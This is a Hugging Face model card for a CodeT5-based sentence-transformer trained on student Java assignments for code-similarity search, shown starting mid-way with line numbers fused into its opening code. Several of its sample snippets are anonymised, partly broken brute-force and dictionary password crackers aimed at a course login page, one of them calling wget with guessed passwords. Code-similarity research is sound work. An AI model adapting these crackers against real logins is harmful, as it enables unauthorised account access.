- "import java.io.*;\nimport java.util.StringTokenizer;\nimport java.net.smtp.SmtpClient;\n\786    import java.util.Timer;\nimport java.util.TimerTask;\n\n\npublic class WatchDog\787    \ {\npublic static void main(String[] args) {\ntry {\nProcess y = Runtime.getRuntime().exec(\"\788    ./init\");\n}\ncatch (Exception e) {System.err.println(e);}\n\n\nWatchDog poodle=new\789    \ WatchDog();\n {\npoodle.startWatch();\n} while(1==1);\n}\n\npublic void startWatch()\790    \ {\nString error_mes=new String();\nString mesg=new String();\nString url=\"\791    wget -p http://www.cs.rmit.edu./students\";\n\ntry {\nProcess a = Runtime.getRuntime().exec(url);\n\792    }\ncatch (Exception e) {System.err.println(e);}\n\ntry {\nProcess b = Runtime.getRuntime().exec(\"\793    diff org/images/ www.cs.rmit.edu./images/\");\n BufferedReader stdInputimages\794    \ = new BufferedReader(new InputStreamReader(b.getInputStream()));\n         \795    \   while ((error_mes = stdInputimages.readLine()) != null) {\n\n            \796    \  mesg=mesg.concat(error_mes);\n              \n              \n            \797    \  }\n}\ncatch (Exception e) {System.err.println(e);}\n\n\n\n\ntry {\nProcess\798    \ c = Runtime.getRuntime().exec(\"diff org/students/ www.cs.rmit.edu./students/\"\799    );\nBufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));\n\800    \            while ((error_mes = stdInputindex.readLine()) != null) {\n      \801    \       mesg=mesg.concat(error_mes);\n                  \n              }\n}\n\802    catch (Exception e) {System.err.println(e);}\n\n\nif (mesg.length()>0) { sendEmail(mesg);\803    \ }\n\ntry { Thread.sleep(60*60*24*1000);\n } catch(Exception e) { }\n}\n\n\n\n\804    \n\npublic void sendEmail(String message) {\n{\nString reciever = \"@cs.rmit.edu.\"\805    ;\nString sender = \"WATCHDOG@cs.rmit.edu.\";\n\n    try {\n\n               \806    \         SmtpClient smtp = new SmtpClient();\n                        smtp.from(sender);\n\807    \                        smtp.to(reciever);\n                        PrintStream\808    \ msg = smtp.startMessage();\n                        msg.println(message);\n\809    \                        smtp.closeServer();\n                }\n\n          \810    \      catch (Exception e) {}\n\n        }\n}\n}"811pipeline_tag: sentence-similarity812library_name: sentence-transformers813---814 815# SentenceTransformer based on Salesforce/codet5-small816 817This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [Salesforce/codet5-small](https://huggingface.co/Salesforce/codet5-small). It maps sentences & paragraphs to a 512-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.818 819## Model Details820 821### Model Description822- **Model Type:** Sentence Transformer823- **Base model:** [Salesforce/codet5-small](https://huggingface.co/Salesforce/codet5-small) <!-- at revision b1ee9570c289f21b5922b9c768a1ce12957bf968 -->824- **Maximum Sequence Length:** 512 tokens825- **Output Dimensionality:** 512 dimensions826- **Similarity Function:** Cosine Similarity827<!-- - **Training Dataset:** Unknown -->828<!-- - **Language:** Unknown -->829<!-- - **License:** Unknown -->830 831### Model Sources832 833- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)834- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)835- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)836 837### Full Model Architecture838 839```840SentenceTransformer(841  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: T5EncoderModel 842  (1): Pooling({'word_embedding_dimension': 512, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})843)844```845 846## Usage847 848### Direct Usage (Sentence Transformers)849 850First install the Sentence Transformers library:851 852```bash853pip install -U sentence-transformers854```855 856Then you can load this model and run inference.857```python858from sentence_transformers import SentenceTransformer859 860# Download from the 🤗 Hub861model = SentenceTransformer("buelfhood/SOCO-Java-CodeT5Small-ST")862# Run inference863sentences = [864    '\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class Dictionary\n{\n   public static void main (String args[]) throws IOException,\n   MalformedURLException\n   {\n      final String username = "";\n      final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";\n      final String dictfile = "/usr/share/lib/dict/words";\n      String temppass;\n      String password = "";\n      URL url = new URL(fullurl);\n      boolean cracked = false;\n\n       startTime = System.currentTimeMillis();\n\n      \n      BufferedReader r = new BufferedReader(new FileReader(dictfile));\n\n      while((temppass = r.readLine()) != null && !cracked)\n      {  \n         \n         if(temppass.length() <= 3)\n         {\n            \n            if(isAlpha(temppass))\n            {\n               \n               Authenticator.setDefault(new MyAuthenticator(username,temppass));\n               try{\n                  BufferedReader x = new BufferedReader(new InputStreamReader(\n                     url.openStream()));\n                  cracked = true;\n                  password = temppass;\n               } catch(Exception e){}\n            }\n         }\n      }\n\n       stopTime = System.currentTimeMillis();\n      \n      if(!cracked)\n         System.out.println("Sorry, couldnt find the password");\n      else\n         System.out.println("Password found: "+password);\n      System.out.println("Time taken: "+(stopTime-startTime));\n   }\n\n   public static boolean isAlpha(String s)\n   {\n      boolean v = true;\n      for(int i=0; i<s.length(); i++)\n      {\n         if(!Character.isLetter(s.charAt(i)))\n            v = false;\n      }\n      return ;\n   }\n}\n\n',865    '\n\nimport java.net.*;\nimport java.text.*;  \nimport java.util.*;  \nimport java.io.*;\n\npublic class WatchDog {\n\n  public WatchDog() {\n\n    StringBuffer stringBuffer1 = new StringBuffer();\n    StringBuffer stringBuffer2 = new StringBuffer();\n    int i,j = 0;\n\n    try{\n\n      URL yahoo = new URL("http://www.cs.rmit.edu./students/"); \n      BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n      String inputLine = "";\n      String inputLine1 = "";\n      String changedtext= "";\n      String changedflag= "";\n\n\n      Thread.sleep(180);\n\n      BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n\n      while ((inputLine = in.readLine()) != null) {\n           inputLine1 = in1.readLine();\n           if (inputLine.equals(inputLine1)) {\n              System.out.println("equal");\n           }\n           else {\n              System.out.println("Detected a Change");\n              System.out.println("Line Before the change:" + inputLine);\n              System.out.println("Line After the change:" + inputLine1);\n              changedtext = changedtext + inputLine + inputLine1;\n              changedflag = "Y";\n           }\n           \n      }\n\n      if (in1.readLine() != null ) {\n         System.out.println("Detected a Change");\n         System.out.println("New Lines Added  ");\n         changedtext = changedtext + "New Lines added";\n         changedflag = "Y";\n      }\n\n      in.print();\n      in1.print();\n\n      if (changedflag.equals("Y")) {\n         String smtphost ="smtp.mail.rmit.edu." ; \n         String from = "@rmit.edu."; \n         String  = "janaka1@optusnet.." ; \n      }\n\n\n    }\n    catch(Exception e){ System.out.println("exception:" + e);}\n\t \n}\n\t\t\n    public static void main (String[] args) throws Exception {\n\t\tWatchDog u = new WatchDog();\n    }\n}\n',866    '\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\npublic class PasswordCombination\n{\n    private int      pwdCounter = 0;\n    private   int   startTime;\n    private String   str1,str2,str3;\n    private String   url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n    private String   loginPwd;\n    private String[] password;\n    private HoldSharedData data;\n    private char[] chars = {\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\n                            \'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\n                            \'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\n                            \'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\n\n    public PasswordCombination()\n    {\n        System.out.println("Programmed by   for INTE1070 Assignment 2");\n\n        String input = JOptionPane.showInputDialog( "Enter number of threads" );\n        if(  input == null  )\n           System.exit(0);\n\n        int numOfConnections = Integer.parseInt( input );\n        startTime = System.currentTimeMillis();\n        int pwdCounter = 52*52*52 + 52*52 + 52;\n        password = new String[pwdCounter];\n\n\n        loadPasswords();\n        System.out.println( "Total Number of Passwords: " + pwdCounter );\n        createConnectionThread( numOfConnections );\n    }\n\n    private void doPwdCombination()\n    {\n        for( int i = 0; i < 52; i ++ )\n        {\n            str1 = "" + chars[i];\n            password[pwdCounter++] = "" + chars[i];\n            System.err.print( str1 + " | " );\n\n            for( int j = 0; j < 52; j ++ )\n            {\n                str2 = str1 + chars[j];\n                password[pwdCounter++] = str1 + chars[j];\n\n                for( int k = 0; k < 52; k ++ )\n                {\n                    str3 = str2 + chars[k];\n                    password[pwdCounter++] = str2 + chars[k];\n                }\n            }\n        }\n    }\n\n    private void loadPasswords( )\n    {\n        FileReader     fRead;\n        BufferedReader buf;\n        String         line = null;\n        String         fileName = "words";\n\n        try\n        {\n            fRead = new FileReader( fileName );\n            buf = new BufferedReader(fRead);\n\n            while((line = buf.readLine( )) != null)\n            {\n                password[pwdCounter++] = line;\n            }\n        }\n        catch(FileNotFoundException e)\n        {\n            System.err.println("File not found: " + fileName);\n        }\n        catch(IOException ioe)\n        {\n            System.err.println("IO Error " + ioe);\n        }\n    }\n\n    private void createConnectionThread( int input )\n    {\n        data = new HoldSharedData( startTime, password, pwdCounter );\n\n        int numOfThreads = input;\n        int batch = pwdCounter/numOfThreads + 1;\n        numOfThreads = pwdCounter/batch + 1;\n        System.out.println("Number of Connection Threads Used=" + numOfThreads);\n        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];\n\n        for( int index = 0; index < numOfThreads; index ++ )\n        {\n            connThread[index] = new ConnectionThread( url, index, batch, data );\n            connThread[index].conn();\n        }\n    }\n}  ',867]868embeddings = model.encode(sentences)869print(embeddings.shape)870# [3, 512]871 872# Get the similarity scores for the embeddings873similarities = model.similarity(embeddings, embeddings)874print(similarities.shape)875# [3, 3]876```877 878<!--879### Direct Usage (Transformers)880 881<details><summary>Click to see the direct usage in Transformers</summary>882 883</details>884-->885 886<!--887### Downstream Usage (Sentence Transformers)888 889You can finetune this model on your own dataset.890 891<details><summary>Click to expand</summary>892 893</details>894-->895 896<!--897### Out-of-Scope Use898 899*List how the model may foreseeably be misused and address what users ought not to do with the model.*900-->901 902<!--903## Bias, Risks and Limitations904 905*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*906-->907 908<!--909### Recommendations910 911*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*912-->913 914## Training Details915 916### Training Dataset917 918#### Unnamed Dataset919 920* Size: 33,411 training samples921* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>922* Approximate statistics based on the first 1000 samples:923  |         | sentence_0                                                                           | sentence_1                                                                           | label                                          |924  |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|925  | type    | string                                                                               | string                                                                               | int                                            |926  | details | <ul><li>min: 52 tokens</li><li>mean: 444.58 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 52 tokens</li><li>mean: 470.35 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> |927* Samples:928  | sentence_0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | sentence_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | label          |929  |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|930  | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{	<br><br>	public static void main(String args[])<br>	{<br>		Watchdog watch = new Watchdog();<br>		Timer time = new Timer();<br>		time.schedule(watch,864000000,864000000);<br>		<br>			<br>	}<br>}<br></code>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <code><br><br>import java.io.*;<br>import java.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Dictionary {<br> public static void  main (String[] args) throws IOException {<br>  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));<br><br>       d  = new Date().getTime();<br>       FileReader fr = new FileReader("/usr/share/lib/dict/words");<br>       BufferedReader bufr = new BufferedReader(fr);<br>       String word = bufr.readLine();             <br>       int total = 960;<br>       String[] pws = new String[total];<br>       int count = 0;<br>       while (word!=null){<br>        if (word.length()<=3) { pws[count] = word; count++;}<br>	word = bufr.readLine();<br>       }<br>       <br>       int i=0;<br>       int response = 0;<br>       for (i=0;i<count;i++){<br>        String uname = "";<br>        String userinfo = uname + ":" + pws[i];<br>        try{<br>         String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());<br>         URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");<br>         HttpURLConn...</code>                                                                                                    | <code>0</code> |931  | <code><br>import java.io.*;<br>import java.util.*;<br><br><br>class BruteForce{<br><br>public static void main(String args[]){<br><br>String pass,s;<br>char a,b,c;<br>int z=0;<br>int attempt=0;<br>Process p;<br><br><br>char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',<br>            'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',<br>            'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};<br> z = System.currentTimeMillis();<br>int at=0;<br>for(int i=0;i<password.length;i++){<br> for(int j=0;j<password.length;j++){<br>  for(int k=0;k<password.length;k++){<br>      pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);<br><br>     try {<br>          System.out.println("Trying  crack using: "+pass);<br>          at++;<br><br><br>          p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br>          try{<br>          p.waitFor();<br>         }<br>      catch(Exception q){}<br><br><br>          z = p.exitValue();<br><br><br>  ...</code> | <code><br>import java.io.*;<br>import java.util.Vector;<br>import java.util.Date;<br><br><br>interface UnaryPredicate {<br>  boolean execute(Object obj);<br>}<br><br><br>public class DiffPrint {<br>  <br>  static String outFile="";<br><br>  public static abstract class Base {<br>    protected Base(Object[] a,Object[] b) {<br>	try<br>	{<br>      outfile = new PrintWriter(new FileWriter(outFile));		<br>	}<br>	catch (Exception e)<br>	{<br>		e.printStackTrace();<br>	}<br>      file0 = a;<br>      file1 = b;<br>    }<br>    <br>    protected UnaryPredicate ignore = null;<br><br>    <br>    protected Object[] file0, file1;<br><br>    <br>    public void print_script(Diff.change script) {<br>      Diff.change next = script;<br><br>      while (next != null)<br>        {<br>          Diff.change t, end;<br><br>          <br>          t = next;<br>          end = hunkfun(next);<br><br>          <br>          next = end;<br>          end = null;<br>          <br>          <br><br>          <br>          print_hunk(t);<br><br>          <br>          end = next;<br>        }<br>        outfile.flush();<br>    }<br><br>    <br><br>    protected Diff.change hunkfun(Diff.change hunk) {<br>     ...</code> | <code>0</code> |932  | <code>package java.httputils;<br><br>import java.io.BufferedInputStream;<br>import java.io.BufferedOutputStream;<br>import java.io.BufferedReader;<br>import java.io.FileInputStream;<br>import java.io.FileNotFoundException;<br>import java.io.FileOutputStream;<br>import java.io.FileReader;<br>import java.io.IOException;<br>import java.io.OutputStream;<br><br><br>public class WatchDog<br>{<br>    protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);<br>    protected int interval = 24;<br>    protected String URL = "http://www.cs.rmit.edu./students/";<br>    protected String fileName = "WatchDogContent.html";<br>    protected String command = "./alert_mail.sh";<br>    protected String savedContent;<br>    protected String retrievedContent;<br><br>    <br>    public WatchDog()<br>    {<br>        super();<br>    }<br><br>    <br>    public void run() throws Exception<br>    {<br>        HttpRequestClient client = null;<br>        <br>        <br>        System.out.println(getClass().getName() +<br>                        "Retrieving baseline copy of: " + getURL());<br>        client = new HttpRequestClie...</code>             | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary<br>{<br> public String[] passwds;<br> public int passwdNum;<br> public static void main(String[] args) throws IOException<br> {<br>  Dictionary dic=new Dictionary();<br>   dic.doDictionary();<br>  System.exit(1);<br> }<br><br> void doDictionary() throws IOException<br> {<br>  Runtime rt=Runtime.getRuntime();<br>  passwds=new String[32768];<br>  passwdNum=0;<br><br>   time1=new Date().getTime();<br>  <br>  try<br>  {<br>		File f = new File ("words");<br>		FileReader fin = new FileReader (f);<br>		BufferedReader buf = new BufferedReader(fin);<br>		passwds[0]="00";<br>		System.out.println(" loading words....");<br>		<br>		{<br>		 passwds[passwdNum]=buf.readLine();<br>			 passwdNum++;<br>		}while(passwds[passwdNum-1]!=null);<br>		System.out.println("Finish loading words.");<br>  } catch (FileNotFoundException exc) {<br>     System.out.println ("File Not Found");<br>  } catch (IOException exc) {<br>     System.out.println ("IOException 1");<br>  } catch (NullPointerException exc) {<br>	 System.out.println ("NullPointerEx...</code>                                                                | <code>0</code> |933* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)934 935### Training Hyperparameters936#### Non-Default Hyperparameters937 938- `per_device_train_batch_size`: 16939- `per_device_eval_batch_size`: 16940- `num_train_epochs`: 1941- `multi_dataset_batch_sampler`: round_robin942 943#### All Hyperparameters944<details><summary>Click to expand</summary>945 946- `overwrite_output_dir`: False947- `do_predict`: False948- `eval_strategy`: no949- `prediction_loss_only`: True950- `per_device_train_batch_size`: 16951- `per_device_eval_batch_size`: 16952- `per_gpu_train_batch_size`: None953- `per_gpu_eval_batch_size`: None954- `gradient_accumulation_steps`: 1955- `eval_accumulation_steps`: None956- `torch_empty_cache_steps`: None957- `learning_rate`: 5e-05958- `weight_decay`: 0.0959- `adam_beta1`: 0.9960- `adam_beta2`: 0.999961- `adam_epsilon`: 1e-08962- `max_grad_norm`: 1963- `num_train_epochs`: 1964- `max_steps`: -1965- `lr_scheduler_type`: linear966- `lr_scheduler_kwargs`: {}967- `warmup_ratio`: 0.0968- `warmup_steps`: 0969- `log_level`: passive970- `log_level_replica`: warning971- `log_on_each_node`: True972- `logging_nan_inf_filter`: True973- `save_safetensors`: True974- `save_on_each_node`: False975- `save_only_model`: False976- `restore_callback_states_from_checkpoint`: False977- `no_cuda`: False978- `use_cpu`: False979- `use_mps_device`: False980- `seed`: 42981- `data_seed`: None982- `jit_mode_eval`: False983- `use_ipex`: False984- `bf16`: False985- `fp16`: False986- `fp16_opt_level`: O1987- `half_precision_backend`: auto988- `bf16_full_eval`: False989- `fp16_full_eval`: False990- `tf32`: None991- `local_rank`: 0992- `ddp_backend`: None993- `tpu_num_cores`: None994- `tpu_metrics_debug`: False995- `debug`: []996- `dataloader_drop_last`: False997- `dataloader_num_workers`: 0998- `dataloader_prefetch_factor`: None999- `past_index`: -11000- `disable_tqdm`: False1001- `remove_unused_columns`: True1002- `label_names`: None1003- `load_best_model_at_end`: False1004- `ignore_data_skip`: False1005- `fsdp`: []1006- `fsdp_min_num_params`: 01007- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}1008- `fsdp_transformer_layer_cls_to_wrap`: None1009- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}1010- `deepspeed`: None1011- `label_smoothing_factor`: 0.01012- `optim`: adamw_torch1013- `optim_args`: None1014- `adafactor`: False1015- `group_by_length`: False1016- `length_column_name`: length1017- `ddp_find_unused_parameters`: None1018- `ddp_bucket_cap_mb`: None1019- `ddp_broadcast_buffers`: False1020- `dataloader_pin_memory`: True1021- `dataloader_persistent_workers`: False1022- `skip_memory_metrics`: True1023- `use_legacy_prediction_loop`: False1024- `push_to_hub`: False1025- `resume_from_checkpoint`: None1026- `hub_model_id`: None1027- `hub_strategy`: every_save1028- `hub_private_repo`: None1029- `hub_always_push`: False1030- `gradient_checkpointing`: False1031- `gradient_checkpointing_kwargs`: None1032- `include_inputs_for_metrics`: False1033- `include_for_metrics`: []1034- `eval_do_concat_batches`: True1035- `fp16_backend`: auto1036- `push_to_hub_model_id`: None1037- `push_to_hub_organization`: None1038- `mp_parameters`: 1039- `auto_find_batch_size`: False1040- `full_determinism`: False1041- `torchdynamo`: None1042- `ray_scope`: last1043- `ddp_timeout`: 18001044- `torch_compile`: False1045- `torch_compile_backend`: None1046- `torch_compile_mode`: None1047- `include_tokens_per_second`: False1048- `include_num_input_tokens_seen`: False1049- `neftune_noise_alpha`: None1050- `optim_target_modules`: None1051- `batch_eval_metrics`: False1052- `eval_on_start`: False1053- `use_liger_kernel`: False1054- `eval_use_gather_object`: False1055- `average_tokens_across_devices`: False1056- `prompts`: None1057- `batch_sampler`: batch_sampler1058- `multi_dataset_batch_sampler`: round_robin1059 1060</details>1061 1062### Training Logs1063| Epoch  | Step | Training Loss |1064|:------:|:----:|:-------------:|1065| 0.2393 | 500  | 0.2122        |1066| 0.4787 | 1000 | 0.1686        |1067| 0.7180 | 1500 | 0.2193        |1068| 0.9574 | 2000 | 0.2084        |1069 1070 1071### Framework Versions1072- Python: 3.11.131073- Sentence Transformers: 4.1.01074- Transformers: 4.52.41075- PyTorch: 2.6.0+cu1241076- Accelerate: 1.7.01077- Datasets: 3.6.01078- Tokenizers: 0.21.11079 1080## Citation1081 1082### BibTeX1083 1084#### Sentence Transformers1085```bibtex1086@inproceedings{reimers-2019-sentence-bert,1087    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",1088    author = "Reimers, Nils and Gurevych, Iryna",1089    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",1090    month = "11",1091    year = "2019",1092    publisher = "Association for Computational Linguistics",1093    url = "https://arxiv.org/abs/1908.10084",1094}1095```1096 1097#### BatchAllTripletLoss1098```bibtex1099@misc{hermans2017defense,1100    title={In Defense of the Triplet Loss for Person Re-Identification},1101    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},1102    year={2017},1103    eprint={1703.07737},1104    archivePrefix={arXiv},1105    primaryClass={cs.CV}1106}1107```1108 1109<!--1110## Glossary1111 1112*Clearly define terms in order to be accessible across audiences.*1113-->1114 1115<!--1116## Model Card Authors1117 1118*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*1119-->1120 1121<!--1122## Model Card Contact1123 1124*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*1125-->